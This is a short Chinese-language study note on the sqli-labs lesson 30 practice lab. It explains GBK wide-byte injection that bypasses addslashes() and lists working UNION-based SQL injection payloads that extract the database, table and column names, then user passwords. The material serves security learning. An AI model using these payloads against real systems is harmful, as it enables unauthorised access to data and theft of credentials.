DAY 6

sqli-labs lesson 30

宽字节注入：https://www.cnblogs.com/xishaonian/p/6063961.html
思路：由源码，这道题过滤单引号，并且形成’这样的字符，所以我们的想法就是把\“吃掉”或者在他前面再加一个\。'的十六进制为0x5c，0x25所以URL编码为%5c%27，可以在前面加一个%df，形成%df%5c%27，也就是输入参数时，提交%df%27，过滤后形成三个字符，这三个字符在SQL中，因为编码设置为GBK，所以前面两个%df%5c会形成一个汉字，这样，%27就独立出来了。
其他的直接使用联合查询语句即可

addslashes()：

addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号（’）、双引号（"）、反斜线（\）与NUL（NULL字符）。
和上一题一样

爆库：?id=99 UNION SELECT 1,database(),3;–+
爆表：?id=99 UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=CHAR(115, 101, 99, 117, 114, 105, 116, 121);–+
爆字段：?id=99 UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_schema=CHAR(115, 101, 99, 117, 114, 105, 116, 121) and table_name=CHAR(117, 115, 101, 114, 115);–+
爆记录：?id=99 UNION SELECT 1,group_concat(username),group_concat(password) from security.users;–+